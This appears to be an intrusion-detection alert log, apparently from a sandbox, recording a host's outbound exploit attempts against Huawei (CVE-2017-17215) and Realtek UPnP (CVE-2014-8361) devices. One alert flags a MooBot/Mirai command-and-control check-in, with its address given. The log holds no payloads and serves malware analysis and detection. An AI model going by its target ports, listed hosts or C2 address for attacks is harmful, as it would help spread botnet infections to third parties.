07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59504	37215	192.168.2.15	46.85.247.68
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51986	37215	192.168.2.15	197.43.148.101
07/20/24-23:10:41.223524	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40214	37215	192.168.2.15	41.118.113.203
07/20/24-23:10:39.433488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52554	37215	192.168.2.15	197.20.220.200
07/20/24-23:10:38.988625	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39574	52869	192.168.2.15	112.183.31.205
07/20/24-23:11:03.378465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55330	37215	192.168.2.15	157.110.230.85
07/20/24-23:10:52.045718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45510	52869	192.168.2.15	169.30.6.222
07/20/24-23:10:45.885505	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52442	52869	192.168.2.15	111.84.141.243
07/20/24-23:10:58.986541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33844	37215	192.168.2.15	41.95.29.120
07/20/24-23:10:52.578509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59628	37215	192.168.2.15	157.205.219.178
07/20/24-23:10:40.374807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48182	52869	192.168.2.15	109.51.3.47
07/20/24-23:11:03.361259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52592	37215	192.168.2.15	197.236.107.173
07/20/24-23:11:06.646713	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54358	37215	192.168.2.15	157.88.25.155
07/20/24-23:10:49.377082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49602	37215	192.168.2.15	13.183.157.226
07/20/24-23:10:52.062286	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38418	52869	192.168.2.15	119.225.230.240
07/20/24-23:10:44.580130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35578	52869	192.168.2.15	42.146.219.162
07/20/24-23:10:52.029203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41490	52869	192.168.2.15	201.38.82.44
07/20/24-23:11:03.304768	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54474	37215	192.168.2.15	176.232.183.149
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48238	37215	192.168.2.15	157.162.58.122
07/20/24-23:10:52.070107	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33740	52869	192.168.2.15	27.73.191.157
07/20/24-23:10:52.517494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52872	37215	192.168.2.15	42.176.63.143
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47810	37215	192.168.2.15	157.43.224.104
07/20/24-23:10:51.909417	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49058	52869	192.168.2.15	208.41.148.99
07/20/24-23:10:39.394192	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33188	52869	192.168.2.15	4.232.226.241
07/20/24-23:10:46.958520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34936	52869	192.168.2.15	111.98.52.15
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41156	37215	192.168.2.15	41.78.42.54
07/20/24-23:10:46.932181	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59210	52869	192.168.2.15	34.2.61.34
07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32964	37215	192.168.2.15	41.93.149.174
07/20/24-23:10:51.955556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60754	52869	192.168.2.15	173.225.79.113
07/20/24-23:10:49.409236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41694	37215	192.168.2.15	98.109.201.53
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47276	37215	192.168.2.15	197.233.147.184
07/20/24-23:10:52.538168	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34188	37215	192.168.2.15	197.231.39.66
07/20/24-23:10:47.436610	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53568	52869	192.168.2.15	168.52.247.36
07/20/24-23:10:51.991411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45368	52869	192.168.2.15	93.91.138.170
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45592	37215	192.168.2.15	94.56.150.5
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38862	37215	192.168.2.15	159.110.107.208
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34170	37215	192.168.2.15	41.81.78.42
07/20/24-23:10:53.215724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34926	52869	192.168.2.15	48.66.205.87
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50780	37215	192.168.2.15	157.16.29.198
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56932	37215	192.168.2.15	197.0.82.115
07/20/24-23:10:46.836862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47994	37215	192.168.2.15	197.203.255.95
07/20/24-23:11:06.657863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47856	37215	192.168.2.15	197.132.48.110
07/20/24-23:10:46.829468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57520	37215	192.168.2.15	157.182.171.248
07/20/24-23:10:41.227401	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40522	37215	192.168.2.15	41.123.192.243
07/20/24-23:10:59.094768	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43908	37215	192.168.2.15	150.111.127.113
07/20/24-23:10:42.619249	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40272	52869	192.168.2.15	112.183.31.205
07/20/24-23:10:51.944866	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47052	52869	192.168.2.15	54.158.102.139
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43378	37215	192.168.2.15	174.201.74.166
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59222	37215	192.168.2.15	157.239.43.174
07/20/24-23:10:44.218779	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48182	52869	192.168.2.15	154.24.39.249
07/20/24-23:10:51.970945	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34350	52869	192.168.2.15	222.79.179.243
07/20/24-23:10:56.002190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45448	37215	192.168.2.15	157.122.32.225
07/20/24-23:10:42.622796	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39654	52869	192.168.2.15	208.102.27.6
07/20/24-23:10:40.054753	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49796	52869	192.168.2.15	151.94.173.235
07/20/24-23:10:47.755057	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38948	52869	192.168.2.15	141.20.236.188
07/20/24-23:10:43.602039	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40648	52869	192.168.2.15	221.255.54.167
07/20/24-23:10:58.986540	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43614	37215	192.168.2.15	167.21.65.55
07/20/24-23:10:39.190217	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40426	52869	192.168.2.15	143.77.32.144
07/20/24-23:10:42.633392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33872	52869	192.168.2.15	4.232.226.241
07/20/24-23:10:41.231186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39706	37215	192.168.2.15	86.37.66.37
07/20/24-23:11:06.702559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39506	37215	192.168.2.15	137.28.220.250
07/20/24-23:10:52.572631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58262	37215	192.168.2.15	221.241.44.77
07/20/24-23:10:40.616009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41360	37215	192.168.2.15	41.130.45.123
07/20/24-23:10:52.558618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45528	37215	192.168.2.15	157.217.23.6
07/20/24-23:10:39.597366	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52370	52869	192.168.2.15	113.59.43.68
07/20/24-23:10:42.269853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37528	37215	192.168.2.15	72.101.131.182
07/20/24-23:10:46.750827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57454	37215	192.168.2.15	53.185.162.222
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42296	37215	192.168.2.15	80.185.203.249
07/20/24-23:10:47.984093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35902	52869	192.168.2.15	119.225.230.240
07/20/24-23:10:46.755097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53818	37215	192.168.2.15	197.105.239.202
07/20/24-23:10:51.961780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51308	52869	192.168.2.15	51.195.43.231
07/20/24-23:11:03.339788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43124	37215	192.168.2.15	157.122.105.2
07/20/24-23:10:56.011227	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60258	37215	192.168.2.15	157.239.134.129
07/20/24-23:10:51.970946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46124	52869	192.168.2.15	134.173.80.60
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47368	37215	192.168.2.15	41.45.87.85
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42412	37215	192.168.2.15	197.220.171.96
07/20/24-23:11:06.675236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47480	37215	192.168.2.15	41.21.81.252
07/20/24-23:10:52.006529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44144	52869	192.168.2.15	116.188.33.5
07/20/24-23:10:59.029071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54064	37215	192.168.2.15	41.4.170.12
07/20/24-23:10:39.487319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45038	37215	192.168.2.15	111.61.149.252
07/20/24-23:10:47.662315	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58370	52869	192.168.2.15	190.79.37.161
07/20/24-23:10:51.926807	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37928	52869	192.168.2.15	115.217.213.84
07/20/24-23:10:41.231186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38232	37215	192.168.2.15	157.221.156.231
07/20/24-23:10:39.479427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56706	37215	192.168.2.15	157.42.101.14
07/20/24-23:10:49.370142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43250	37215	192.168.2.15	173.31.16.145
07/20/24-23:10:49.457364	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38524	37215	192.168.2.15	157.160.130.37
07/20/24-23:10:41.231186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49732	37215	192.168.2.15	157.91.148.53
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43258	37215	192.168.2.15	163.110.119.229
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42912	37215	192.168.2.15	157.75.226.137
07/20/24-23:10:53.786733	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52728	52869	192.168.2.15	170.247.115.65
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44168	37215	192.168.2.15	217.182.185.170
07/20/24-23:10:39.783023	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40676	52869	192.168.2.15	217.115.151.81
07/20/24-23:10:56.024382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38856	37215	192.168.2.15	41.186.251.111
07/20/24-23:11:03.352491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58310	37215	192.168.2.15	197.108.86.125
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59342	37215	192.168.2.15	34.182.233.76
07/20/24-23:10:52.004720	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37340	52869	192.168.2.15	131.63.7.210
07/20/24-23:10:41.234520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51034	37215	192.168.2.15	83.200.83.92
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52532	37215	192.168.2.15	157.88.203.184
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38146	37215	192.168.2.15	157.48.119.194
07/20/24-23:10:51.995612	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33832	52869	192.168.2.15	105.189.130.216
07/20/24-23:10:41.241817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48956	37215	192.168.2.15	41.180.105.213
07/20/24-23:10:40.616009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59192	37215	192.168.2.15	41.198.155.196
07/20/24-23:10:52.555606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37150	37215	192.168.2.15	41.215.164.37
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48808	37215	192.168.2.15	157.115.194.74
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33178	37215	192.168.2.15	197.51.81.76
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51722	37215	192.168.2.15	157.66.206.67
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36850	37215	192.168.2.15	197.210.234.155
07/20/24-23:10:51.896724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33996	52869	192.168.2.15	221.199.80.98
07/20/24-23:10:39.148191	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60590	52869	192.168.2.15	166.78.169.15
07/20/24-23:10:42.248141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42288	37215	192.168.2.15	197.129.120.216
07/20/24-23:10:52.607833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33840	37215	192.168.2.15	157.128.113.181
07/20/24-23:10:46.567653	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46348	52869	192.168.2.15	17.184.223.151
07/20/24-23:10:43.552962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37660	52869	192.168.2.15	134.159.51.161
07/20/24-23:10:40.607363	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40162	37215	192.168.2.15	41.140.181.240
07/20/24-23:10:39.125097	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38250	52869	192.168.2.15	131.159.98.164
07/20/24-23:10:51.955556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53488	52869	192.168.2.15	92.195.216.129
07/20/24-23:10:45.518508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54380	52869	192.168.2.15	133.76.164.119
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37846	37215	192.168.2.15	157.82.186.155
07/20/24-23:10:52.047583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54842	52869	192.168.2.15	195.72.16.230
07/20/24-23:10:59.011093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39702	37215	192.168.2.15	157.62.170.195
07/20/24-23:10:42.632104	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36816	52869	192.168.2.15	197.208.47.186
07/20/24-23:10:43.864804	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58226	52869	192.168.2.15	202.116.72.105
07/20/24-23:11:06.702559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59562	37215	192.168.2.15	157.214.13.158
07/20/24-23:10:44.786243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32850	52869	192.168.2.15	159.7.254.101
07/20/24-23:10:41.231287	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33246	37215	192.168.2.15	197.255.77.151
07/20/24-23:10:51.900424	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48618	52869	192.168.2.15	65.78.88.55
07/20/24-23:10:39.431804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54920	37215	192.168.2.15	14.49.13.245
07/20/24-23:10:42.630809	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56428	52869	192.168.2.15	126.171.98.117
07/20/24-23:10:51.902171	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56176	52869	192.168.2.15	40.139.206.8
07/20/24-23:10:39.955060	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42578	52869	192.168.2.15	187.182.235.57
07/20/24-23:10:56.073192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58210	37215	192.168.2.15	157.97.133.247
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55304	37215	192.168.2.15	157.178.175.186
07/20/24-23:11:03.352491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54974	37215	192.168.2.15	197.83.39.11
07/20/24-23:10:52.010300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34338	52869	192.168.2.15	198.105.114.189
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33180	37215	192.168.2.15	157.225.109.57
07/20/24-23:10:51.951774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48820	52869	192.168.2.15	92.18.13.170
07/20/24-23:10:51.940556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39804	52869	192.168.2.15	18.208.103.195
07/20/24-23:10:41.228606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35728	37215	192.168.2.15	197.210.198.249
07/20/24-23:11:06.689532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38982	37215	192.168.2.15	41.238.143.20
07/20/24-23:10:52.546429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41168	37215	192.168.2.15	157.74.94.198
07/20/24-23:10:51.950747	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44106	52869	192.168.2.15	135.228.190.116
07/20/24-23:10:43.071291	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60056	52869	192.168.2.15	118.155.226.123
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47010	37215	192.168.2.15	41.44.248.238
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50002	37215	192.168.2.15	157.4.242.187
07/20/24-23:10:44.624474	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38818	52869	192.168.2.15	163.24.64.153
07/20/24-23:10:52.607833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58572	37215	192.168.2.15	197.90.20.33
07/20/24-23:10:41.220637	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34358	37215	192.168.2.15	157.29.143.201
07/20/24-23:10:39.066287	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44182	52869	192.168.2.15	19.2.120.96
07/20/24-23:10:39.474284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44484	37215	192.168.2.15	76.125.10.46
07/20/24-23:10:59.032609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52366	37215	192.168.2.15	197.96.51.43
07/20/24-23:10:46.836862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43856	37215	192.168.2.15	41.122.179.200
07/20/24-23:11:06.665554	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56124	37215	192.168.2.15	41.88.129.27
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47084	37215	192.168.2.15	41.218.65.16
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49570	37215	192.168.2.15	168.175.171.32
07/20/24-23:10:51.971548	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45298	52869	192.168.2.15	71.203.107.81
07/20/24-23:10:45.058671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49738	52869	192.168.2.15	51.195.43.231
07/20/24-23:10:42.629188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32912	52869	192.168.2.15	23.180.240.118
07/20/24-23:10:49.380109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50710	37215	192.168.2.15	151.35.74.136
07/20/24-23:10:51.950529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46638	52869	192.168.2.15	68.235.64.147
07/20/24-23:10:46.778936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40236	37215	192.168.2.15	41.179.22.106
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49056	37215	192.168.2.15	197.6.54.213
07/20/24-23:11:03.396635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48474	37215	192.168.2.15	157.113.186.8
07/20/24-23:10:47.861105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32866	52869	192.168.2.15	47.132.43.96
07/20/24-23:10:42.249913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41100	37215	192.168.2.15	41.70.136.110
07/20/24-23:10:40.077099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48858	52869	192.168.2.15	210.2.46.1
07/20/24-23:10:36.948534	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	50866	2466	192.168.2.15	15.235.203.214
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40466	37215	192.168.2.15	197.199.156.147
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33292	37215	192.168.2.15	197.167.3.144
07/20/24-23:10:51.908570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46970	52869	192.168.2.15	187.70.196.41
07/20/24-23:11:03.402557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52402	37215	192.168.2.15	41.139.30.10
07/20/24-23:10:59.053037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50588	37215	192.168.2.15	165.63.199.69
07/20/24-23:11:03.396635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35560	37215	192.168.2.15	41.233.53.226
07/20/24-23:10:59.021280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60864	37215	192.168.2.15	176.151.129.238
